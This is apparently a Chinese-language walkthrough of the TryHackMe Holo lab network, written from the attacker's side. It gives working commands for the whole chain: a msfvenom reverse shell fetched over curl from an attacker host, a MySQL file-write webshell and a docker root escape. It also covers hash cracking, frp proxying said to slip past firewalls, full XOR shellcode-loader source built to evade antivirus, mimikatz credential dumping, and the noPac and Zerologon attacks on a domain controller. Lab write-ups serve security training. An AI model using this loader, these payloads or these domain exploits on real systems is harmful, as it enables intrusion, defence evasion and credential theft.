记录一下tryhackme的Holo的靶场完成过程。和原本作者思路和工具不太一样,用自己的思路打了一下,更加优雅方便(实际上是自己太懒了),某些自己不懂的地方部分更加细节展开。中途太忙断了好久,还断网心态崩了,有一些自己的新思路,其他都是常规操作。
端口扫描:
/TideFinger_Linux -h 10.200.112.33 -p 1-65535
似乎有个高端口是socks5的无认证代理,也许后面会有作用,先放着。按照题目继续对80的wordpress进行枚举,发现版本信息:
nuclei -tags wordpress -u http://10.200.112.33/ -rl 10
对http://10.200.112.33/单个ip进行虚拟host发现,ffuf使用过滤FUZZ,这里可能有师傅不清楚实战中要不要fuzz这个点,实际情况是根据中间件的配置情况来看的,比方说ngnix和apache都有这个配置虚拟主机的选项,在集群部署的政府单位、或者一些需要负载均衡的场景比较常见,说人话就是如果某个网站的ip业务流量比较大,而且这个服务器性能又比较好适合做这个。
回到正题:
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.holo.live" -u http://10.200.112.33/ -fs 21456
速度很慢,速度大概在每秒50个速度,把暴力破解出来的添加到hosts文件
直接访问看看这些网站有什么有价值的东西,目录扫描看看:
从admin的扫描内可以发现robots.txt的内容比较大
访问获得绝对路径:
直接访问是403,需要配合任意文件读取获取到凭据
利用任意文件下载获取到creds.txt,因为vhost本质上是在一台机器上,所以能读取到其他的文件。
拿到密码登录:
翻阅源代码,不难看到有个被注释了的
//if ($_GET['cmd'] === NULL) { echo passthru("cat /tmp/Views.txt"); } else { echo passthru($_GET['cmd']);} -->
给到cmd参数即可执行命令:
上msf直接拿交互式shell:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.50.109.210 LPORT=9001 -f elf -o reverse.elf
curl%20http%3A%2F%2F10.50.109.210%3A8101%2Freverse.elf%20-o%20%2Ftmp%2Fagent
拿到shell
尝试提权:
exploit/linux/local/apport_abrt_chroot_priv_esc
exploit/linux/local/cve_2021_3493_overlayfs
exploit/linux/local/cve_2022_0995_watch_queue
exploit/linux/local/su_login
提不上去… 找一下flag,发现在/var/www
根据php里面的配置,数据库指向发现新的资产,利用账户密码去连接
用msf搭建socks代理:
proxychains mysql -u admin -p -h 192.168.100.1
因为是默认页面就直接写入就好了:
select '<?php phpinfo()?>' INTO OUTFILE '/var/www/html/test.php';
执行命令上线,再操作一波:
上传到临时文件再赋予权限执行
用的kali集成的linpeas,内容比较多,这里已经提示了suid提权,找一下:
去https://gtfobins.github.io/gtfobins/docker/找到提权的向量:
sudo install -m =xs $(which docker) .
./docker run -v /:/mnt --rm -it alpine chroot /mnt sh
这里不是交互式的tty,所以失败了
python3 -c 'import pty; pty.spawn("/bin/bash")'
提权也可以偷个懒,再次利用suggest模块exp提权:
等待一会,即可上线,这里不得不说msf的提权真是强,特别在exp提权上,如果自己编译是会很多出错导致难以利用,互联网上的poc在不同环境都是有兼容性问题的,这里msf就已经考虑好了兼容性的问题:
读取cat /etc/shadow密码破解(实战下还是有必要去破解一下的,因为很多单位用的密码都一样,只要能破解出明文,利用明文去横向将会显得非常重要):
利用hashcat破解:
hashcat -m 1800 -a 0 hash.txt rockyou.txt
对应的明文:
$6$Zs4KmlUsMiwVLy2y$V8S5G3q7tpBMZip8Iv/H6i5ctHVFf6.fS.HXBw9Kyv96Qbc2ZHzHlYHkaHm8A5toyMA3J53JU.dc6ZCjRxhjV1:linuxrulez
拿到密码登录验证一下:linux-admin
对同网段下的ip进行扫描,发现新的资产:
整理一下扫描的信息,(从这里之后的图片因为重置了靶场与之前的ip已经改变,不过问题不大),10.200.108.35的机器名是PC-FILESRV01 ,10.200.108.30的机器名是DC-SRV01,扫描结果也显示了是域控Domain Controllers,10.200.108.31的机器名是S-SRV01,http://10.200.108.30:80
再次搭建代理,这里直接用frp,frp的稳定性人尽皆知,这里就贴一下经常使用配置就好了:
./frps -c frps.ini
[common]
bind_port = 7000
token = Yuzusoft
tls_enable = true
客户端配置,实战中启用tls可以绕过态势感知、防火墙的拦截:
[common]
token = Yuzusoft
disable_custom_tls_first_byte = true
server_addr = 127.0.0.1
server_port = 7000
tls_enable = true
[socks5]
remote_port = 5444
plugin = socks5
搭建完毕就可以访问 http://10.200.108.31/ 了:
不晓得为什么burp出了什么问题,忍一下用浏览器来抓包,不难看出这里有个重置密码的参数让人感兴趣:
爆破用户名失败之后我重新翻找了之前mysql的数据库,找到了gurag用户:
抓包分析发现gurag的token其实已经返回在返回包,一个简单的逻辑漏洞:
之后带着这个token去访问之前的页面即可:
登录之后一个典型的前端过滤上传:
根据之前目录扫描的结果,应该在images目录下
果不其然,直接一波php上传Getshell,直接拿到system权限:
拿着进程去棱角社区进程识别看看,果然有杀毒,不过欺负一下微软的杀毒还是很轻松的:
生成木马,本来想用https,但是上不了线,只能用tcp了
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.31.41 LPORT=8888 -f raw -o test.txt
写了分离的shellcode加载器:
#include <iostream>
#include <fstream>
#include <vector>
#include <Windows.h>
char Key[7] = { 'Y', 'U', 'Z', 'S', 'O', 'F', 'T' };
// 解密函数
int keyLength = 7;
void decrypt(std::vector<unsigned char>& encryptedData) {
int keyIndex = 0; // 初始密钥索引为0
for (size_t i = 0; i < encryptedData.size(); ++i) {
encryptedData[i] = encryptedData[i] ^ Key[keyIndex]; // 使用当前密钥进行异或解密
keyIndex = (keyIndex + 1) % keyLength; // 更新密钥索引,确保在0到6之间循环
}
}
int main() {
// 读取 shellcode 从本地已经加密的 log 文件
std::ifstream file("log.txt", std::ios::binary);
std::vector<unsigned char> shellcode;
if (file) {
file.seekg(0, std::ios::end);
size_t size = file.tellg();
shellcode.resize(size);
file.seekg(0, std::ios::beg);
file.read(reinterpret_cast<char*>(shellcode.data()), size);
file.close();
}
else {
std::cout << "open file fail" << std::endl;
return 1;
}
Sleep(35000);
decrypt(shellcode);
// 分配内存
LPVOID allocMem = VirtualAlloc(NULL, shellcode.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (allocMem == NULL) {
std::cout << "内存分配" << std::endl;
return 1;
}
// 将 shellcode 拷贝到分配的内存中
memcpy(allocMem, shellcode.data(), shellcode.size());
// 执行 shellcode
typedef void (*ShellcodeFunction)();
ShellcodeFunction func = (ShellcodeFunction)allocMem;
func();
// 释放内存
VirtualFree(allocMem, 0, MEM_RELEASE);
return 0;
}
shellcode加载器本地测试免杀通过了
成功上线:
传个vt看看,20/70,算了,能用就行:
靶机一直没上线,可能是端口转发的问题,没办法了,虽然OPSEC原则上加用户是很糟糕的方法,但我这里还是加个用户登上去看看到底是怎么回事:
net user Yuzusoft XXMn9nJfUVEDx2Lk /add
net localgroup administrators Yuzusoft /add
登上去才发现,好吧,这是一个经典错误,报了个dll未找到的错误(后来几天后同事提点发现是编译的问题):
请原谅我直接在UI内部关掉杀毒,之前还写过python的加载器,结果虚拟机之前快照重置了,就不再这里浪费时间了:
经过一点点时间,上传木马执行上线:
转储密码哈希:
load mimikatz
kiwi_cmd sekurlsa::logonpasswords
报错说32位的不能访问64位的进程:
这里得找个64位的进程迁移过去
migrate xxxx
没有cs那么舒服自己整理好了凭据,我们自己找一下,慢慢翻下去找到了明文用户和密码watamet和Nothingtoworry!
现在我们控制了域内的主机,有一个域用户了,还有明文密码,满足了很多域漏洞的利用条件,我就不按照官方的操作了,居然要重启主机,它的中继攻击利用条件太苛刻了,实战很难碰上:
noPac
这个其实是两个漏洞的组合利用,流行是说法是NoPAC,另一种是sam-the-admin,是CVE-2021-42278和CVE-2021-42287的组合拳,利用也很简单,跑一下脚本就打下域控了,利用条件就是要拿到一个用户的账号密码,
proxychains python3 sam_the_admin.py holo.live/watamet:Nothingtoworry! -dc-ip 10.200.107.30 -shell
可以拿到TGT,但是脚本只能打一次,不过我们依然可以拿到之前的缓存TGT去认证:
KRB5CCNAME='Administrator.ccache' proxychains /usr/bin/impacket-smbexec -target-ip 10.200.107.30 -dc-ip 10.200.107.30 -k -no-pass @'dc-srv01.holo.live'
Zerologon
这个神洞就不用说了,我们已经用了太多次了,逻辑漏洞无视所有防御,这里我用mimikatz去检测:
kiwi_cmd lsadump::zerologon /target:10.200.107.30 /account:Administrator
运行显示不存在,看样子靶场已经修复了这个漏洞:
最后拿下全部靶机:
总结
都是一些常规操作,没啥难度,就是很费时间和耐心,之前断网了一次导致我要重新搭建代理,心态很炸,中间隔着省Hvv,后面攻击欲望变低懒得打了,msf好多命令都记不住,这个神器还是得认真学一下的(官方文档看的头晕),原本就能靠它一键搭代理,cs入口是linux反而局限太多,后续还得学一下sliver。打法思路就是找RCE、找数据库密码逃逸容器,之后搭建代理,做一下免杀,对着域控常规的几个漏洞伺候一下就结束了,本来还是得做一下权限维持才好,熟悉熟悉常见的权限维持对后面当红队还是蓝队都很重要。
如果你也想学习:黑客&网络安全
在这里领取:
这个是我花了几天几夜自整理的最新最全网安学习资料包免费共享给你们,其中包含以下东西:
1.学习路线&职业规划